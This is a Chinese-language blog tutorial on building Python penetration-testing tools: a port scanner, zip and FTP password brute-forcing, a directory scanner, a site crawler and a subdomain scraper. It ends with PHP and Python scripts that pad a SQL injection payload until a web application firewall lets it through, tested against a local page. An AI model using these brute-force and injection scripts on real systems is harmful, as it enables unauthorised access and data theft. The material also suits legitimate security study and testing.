python是門簡單易學的語言,強大的第三方庫讓我們在編程中事半功倍,今天我們就來談談python在滲透測試中的應用,讓我們自己動手打造自己的滲透工具集。
一、信息搜集–py端口掃描小腳本
端口掃描是滲透測試中常用的技術手段,發現敏感端口,嘗試弱口令或者默認口令爆破也是常用的手段,之前自學python時候百度着寫了個小腳本。
端口掃描小腳本:
#coding: utf-8
import socket
import time
def scan(ip, port):
try:
socket.setdefaulttimeout(3)
s = socket.socket()
s.connect((ip, port))
return True
except:
return
def scanport():
print '作者:xiaoye'.decode('utf-8').encode('gbk')
print '--------------'
print 'blog: [url]http://blog.163.com/sy_butian/blog'[/url]
print '--------------'
ym = raw_input('請輸入域名(只對未使用cdn的網站有效):'.decode('utf-8').encode('gbk'))
ips = socket.gethostbyname(ym)
print 'ip: %s' % ips
portlist = [80,8080,3128,8081,9080,1080,21,23,443,69,22,25,110,7001,9090,3389,1521,1158,2100,1433]
starttime = time.time()
for port in portlist:
res = scan(ips, port)
if res :
print 'this port:%s is on' % port
endtime = time.time()
print '本次掃描用了:%s秒'.decode('utf-8').encode('gbk') % (endtime-starttime)
if __name__ == '__main__':
scanport()
對於端口掃描技術,其實分很多種,通常是利用tcp協議的三次握手過程(從網上偷張圖。。)
放出的那個腳本,是利用了tcp connect() 即完成了tcp三次握手全連接,根據握手情況判斷端口是否開放,這種方式比較准確,但是會在服務器留下大量連接痕跡。
當然,如果不想留下大量痕跡,我們可以在第三次握手過程,將ack確認號變成rst(釋放連接),連接沒有建立,自然不會有痕跡,但是這種方法需要root權限
好了,先講解一下我們的py端口掃描小腳本:
核心代碼:
portlist = [80,8080,3128,8081,9080,1080,21,23,443,69,22,25,110,7001,9090,3389,1521,1158,2100,1433] for port in portlist: res = scan(ips, port) if res : print 'this port:%s is on' % port
這段代碼是定義了要掃描的端口,並且用for ..in .. 來進行遍歷
socket.setdefaulttimeout(3) s = socket.socket() s.connect((ip, port))
這段代碼,是利用了socket套接字,建立tcp連接,socket.socket()就是s = socket.socket(socket.AF_INET, socket.SOCK_STREAM),用於tcp連接建立
二、實用爆破小腳本–壓縮文件密碼爆破&&ftp爆破
對於壓縮文件,py有自己的處理模塊zipfile,關於zipfile的實例用法,在violent python里有實例腳本,模仿書里寫了個小腳本
#coding: utf-8
'''
z = zipfile.ZipFile('') , extractall
z.extractall(pwd)
'''
import zipfile
import threading
def zipbp(zfile, pwd):
try:
zfile.extractall(pwd=pwd)
print 'password found : %s' % pwd
except:
return
def main():
zfile = zipfile.ZipFile('xx.zip')
pwdall = open('dict.txt')
for pwda in pwdall.readlines():
pwd = pwda.strip('\n')
t = threading.Thread(target=zipbp, args=(zfile, pwd))
t.start()
#t.join()
if __name__ == '__main__':
main()
其實腳本很簡單,核心就一個地方:
zfile = zipfile.ZipFile('xx.zip')
..............
zfile.extractall(pwd=pwd)
ZipFile是zipfile模塊重要的一個類,zfile就是類的實例,而extractall(pwd)就是類里的方法,用於處理帶有密碼的壓縮文件;當pwd正確時,壓縮文件就打開成功。而此腳本就是利用了zipfile模塊的類和方法,加載字典不斷嘗試pwd,直至返回正確的密碼,爆破成功
python在爆破方面也很有優勢,比如ftp,py也有ftplib模塊來處理,一次ftp連接過程如下:
ftp = ftplib.FTP()
ftp.connect(host, 21, 9)
ftp.login(user, pwd)
ftp.retrlines('LIST')
ftp.quit()
connect(ip, port, timeout)用於建立ftp連接;login(user,pwd)用於登陸ftp;retrlines()用於控制在服務器執行命令的結果的傳輸模式;quit()方法用於關閉ftp連接
是不是覺得和zipfile的套路很像?沒錯,你會寫一個,就會寫另外一個,就會寫許許多多的爆破腳本,腳本我就不放出來了,大家自己動手去寫一寫(p.s:關於ftp爆破,在加載字典之前,請先嘗試空密碼,即ftp.login(),萬一成功了呢。。)
三、目錄探測–py低配版御劍
昨天寫了個小腳本,用來探測目錄,實現和御劍一樣的效果,腳本是寫好了,開了多線程,但是還算很慢。。之后我會再次修改:
#coding: utf-8
import sys
import requests
import threading
def savetxt(url):
with open('domain.txt', 'a') as f:
url = url + '\n'
f.write(url)
def geturl(url):
r = requests.get(url, timeout=1)
status_code = r.status_code
if status_code == 200:
print url + ' 200 ok'
savetxt(url)
#print url
#print status_code
syslen = len(sys.argv)
#print syslen
#res=[]
url = raw_input('請輸入要掃描目錄的網站\n'.decode('utf-8').encode('gbk'))
for i in range(1,syslen):
with open(sys.argv[i], 'r') as f:
for fi in f.readlines():
fi = fi.strip('\n')
#print fi
fi = url + '/' + fi
#print fi
t = threading.Thread(target=geturl, args=(fi,))
t.start()
t.join()
#res = ''.join(res)
#print res
能run起來,速度較慢。。
說一下主要思想吧,之后我改完再細講。。:
加載1個或者多個字典,將字典中的內容與輸入的url進行拼接得到完整url;
關於加載多個字典,代碼實現如下:
syslen = len(sys.argv)
#print syslen
#res=[]
url = raw_input('請輸入要掃描目錄的網站\n'.decode('utf-8').encode('gbk'))
for i in range(1,syslen):
with open(sys.argv[i], 'r') as f:
for fi in f.readlines():
fi = fi.strip('\n')
#print fi
fi = url + '/' + fi
利用sys.argv,我們輸入python yujian.py dir.txt就加載dir.txt,輸入dir.txt php.txt ,因為有for i in range(1,syslen):,syslen=3,range(1,3)返回[1,2];
with open(sys.argv, ‘r’) as f:它就會自動加載輸入的兩個txt文件(sys.argv[1]、sys.argv[2]);也就是說,我們輸入幾個文件,它就加載幾個文件作為字典
當我們遇到php站點時,完全可以把御劍的字典拿過來,只加載php.txt dir.txt,這點和御劍是一樣的:
通過python的requests.get(url)的狀態返回碼status_code來對是否存在該url進行判斷;
如果返回200就將該url打印出來,並且存進txt文本里
目前是這么個想法。。
———————————————————————–
更新:多線程加隊列目錄探測腳本 : https://github.com/xiaoyecent/scan_dir
有關於更多小腳本, 可以訪問 https://github.com/xiaoyecent 目前添加了百度url采集、代理ip采集驗證、爬蟲、簡單探測網段存活主機等小腳本,新手單純交流學習,大牛勿噴
四、爬蟲爬取整站連接
這個爬蟲是慕課網上的螞蟻老師講的,感覺做的非常好,就改了一下,本來是用來爬取百度百科python1000條詞條的(現在還是能爬的,要是之后目標更新了,就得制訂新的爬蟲策略了,大的框架不需要變),改成了爬取網站整站連接,擴展性還是很好的。
爬蟲的基本構成,抓一張螞蟻老師的圖:
1.調度器:調度器用來對各個部分進行調度,如將url取出,送給下載器下載,將下載是頁面送給解析器解析,解析出新的url及想要的數據等
2.url管理器:url管理器要維護兩個set()(為啥用set(),因為set()自帶去重功能),一個標識已抓取的url,一個標識待抓取的url,同時,url管理器還要有將解析器解析出來的新url放到待抓取的url里的方法等
3.下載器:實現最簡單,抓取靜態頁面只需要r = requests.get,然后r.content,頁面內容就存進內存了,當然,你存進數據庫里也是可以的;但是同時也是擴展時的重點,比如某些頁面需要登陸才能訪問,這時候就得post傳輸賬號密碼或者加上已經登陸產生的cookie
4.解析器:BeautifulSoup或者正則或者采用binghe牛的pyquery來解析下載器下載來的頁面數據
5.輸出器:主要功能輸出想得到的數據
調度器:
spider_main.py
#!/usr/bin/env python2 # -*- coding: UTF-8 -*- from spider import url_manager, html_downloader, html_outputer, html_parser class SpiderMain(object): def __init__(self): self.urls = url_manager.UrlManager() self.downloader = html_downloader.HtmlDownloader() self.parser = html_parser.HtmlParser() self.outputer = html_outputer.HtmlOutputer() def craw(self, root_url): self.urls.add_new_url(root_url) while self.urls.has_new_url(): try : new_url = self.urls.get_new_url() print 'craw : %s' % new_url html_cont = self.downloader.download(new_url) new_urls, new_data = self.parser.parse(new_url, html_cont) self.urls.add_new_urls(new_urls) self.outputer.collect_data(new_data) except: print 'craw failed' self.outputer.output_html() if __name__ == "__main__": root_url = "自己想爬的網站,我爬了下愛編程,效果還行" obj_spider = SpiderMain() obj_spider.craw(root_url)
其中__init__是初始化,url_manager, html_downloader, html_outputer, html_parser是自己寫的模塊,各個模塊里有各自的類和方法,通過初始化得到相應類的實例;
craw是調度器對各個模塊的調度:
new_url = self.urls.get_new_url() print 'craw : %s' % new_url html_cont = self.downloader.download(new_url) new_urls, new_data = self.parser.parse(new_url, html_cont) self.urls.add_new_urls(new_urls) self.outputer.collect_data(new_data)
分別對應着:
1.從待爬取url列表中取出一個url
2.將改url送往下載器下載,返回頁面內容
3.將頁面送往解析器解析,解析出新的url列表和想要的數據
4.調度url管理器,將新的url添加進帶爬取的url列表
5.調度輸出器輸出數據
url管理器:
url_manager.py:
#!/usr/bin/env python2 # -*- coding: UTF-8 -*- class UrlManager(object): def __init__(self): self.new_urls = set() self.old_urls = set() def add_new_url(self, url): if url is None: return if url not in self.new_urls and url not in self.old_urls: self.new_urls.add(url) def add_new_urls(self, urls): if urls is None or len(urls) == 0: return for url in urls: self.add_new_url(url) def has_new_url(self): return len(self.new_urls) != 0 def get_new_url(self): new_url = self.new_urls.pop() self.old_urls.add(new_url) return new_url
url_manager模塊里的類,及類的方法
下載器:
html_downloader.py
本來螞蟻老師用的urllib,我給改了,改成requests:
#!/usr/bin/env python2 # -*- coding: UTF-8 -*- import urllib2 import requests class HtmlDownloader(object): def download(self, url): if url is None: return None r = requests.get(url,timeout=3) if r.status_code != 200: return None return r.content
html解析器:
html_parser.py
把抓取策略給改了,現在是解析所有鏈接,即a標簽href的值
#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
import re
import urlparse
from bs4 import BeautifulSoup
class HtmlParser(object):
def parse(self, page_url, html_cont):
if page_url is None or html_cont is None:
return
soup = BeautifulSoup(html_cont, 'html.parser', from_encoding='utf-8')
new_urls = self._get_new_urls(page_url, soup)
new_data = self._get_new_data(page_url, soup)
return new_urls, new_data
def _get_new_urls(self, page_url, soup):
new_urls = set()
links = soup.find_all('a')
for link in links:
new_url = link['href']
new_full_url = urlparse.urljoin(page_url, new_url)
new_urls.add(new_full_url)
return new_urls
def _get_new_data(self, page_url, soup):
res_data = {}
# url
return res_data
html_outputer.py
這個看情況,可要可不要,反正已經能打印出來了:
#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
class HtmlOutputer(object):
def __init__(self):
self.datas = []
def collect_data(self, data):
if data is None:
return
self.datas.append(data)
def output_html(self):
fout = open('output.html', 'w')
fout.write("<html>")
fout.write("<body>")
fout.write("<table>")
for data in self.datas:
fout.write("<tr>")
fout.write("<td>%s</td>" % data['url'])
#fout.write("<td>%s</td>" % data['title'].encode('utf-8'))
#fout.write("<td>%s</td>" % data['summary'].encode('utf-8'))
fout.write("</tr>")
fout.write("</table>")
fout.write("</body>")
fout.write("</html>")
fout.close()
運行效果:
這款爬蟲可擴展性挺好,之后大家可以擴展爬取自己想要的內容
當然要是只需要爬取某個頁面的某些內容,完全不必要這么麻煩,一個小腳本就好了:
比如我要爬取某二級域名接口中的二級域名結果:
#coding: utf-8
import urllib, re
def getall(url):
page = urllib.urlopen(url).read()
return page
def ressubd(all):
a = re.compile(r'value="(.*?.com|.*?.cn|.*?.com.cn|.*?.org| )"><input')
subdomains = re.findall(a, all)
return (subdomains)
if __name__ == '__main__':
print '作者:深夜'.decode('utf-8').encode('gbk')
print '--------------'
print 'blog: [url]http://blog.163.com/sy_butian/blog'[/url]
print '--------------'
url = 'http://i.links.cn/subdomain/' + raw_input('請輸入主域名:'.decode('utf-8').encode('gbk')) + '.html'
all = getall(url)
subd = ressubd(all)
sub = ''.join(subd)
s = sub.replace('http://', '\n')
print s
with open('url.txt', 'w') as f:
f.writelines(s)
小腳本用正則就好了,寫的快
五、python在exp中的應用
之前海盜表哥寫過過狗的一個php fuzz腳本
http://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=16134
表哥寫的php版本的:
<?php $i=10000;
$url = 'http://192.168.1.121/sqlin.php'; for(;;){
$i++;
echo "$i\n";
$payload = 'id=-1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and 1='.str_repeat('3',$i); $ret = doPost($url,$payload);
if(!strpos($ret,'網站防火牆')){
echo "done!\n".strlen($payload)."\n".$ret; die();
}
}
function doPost($url,$data=''){ $ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1 ); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $return = curl_exec ($ch);
curl_close ($ch); return $return;
}
我在本地搭了個環境,然后用python也寫了下,還是挺好寫的:
#coding: utf-8
import requests, os
#i = 9990;
url = 'http://localhost:8090/sqlin.php'
def dopost(url, data=''):
r = requests.post(url, data)
return r.content
for i in range(9990, 10000):
payload = {'id':'1 and 1=' + i * '3' + ' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))'}
#print payload
ret = dopost(url, payload)
ret = ''.join(ret)
if ret.find('網站防火牆') == -1:
print "done\n" + "\n" + ret
exit(0)
六、總結
學生黨還是很苦逼的,1.15號才考完試,不說了,寫文章寫了倆小時。。我去復習了,各位表哥有意見或者建議盡管提,文章哪里不對的話會改的





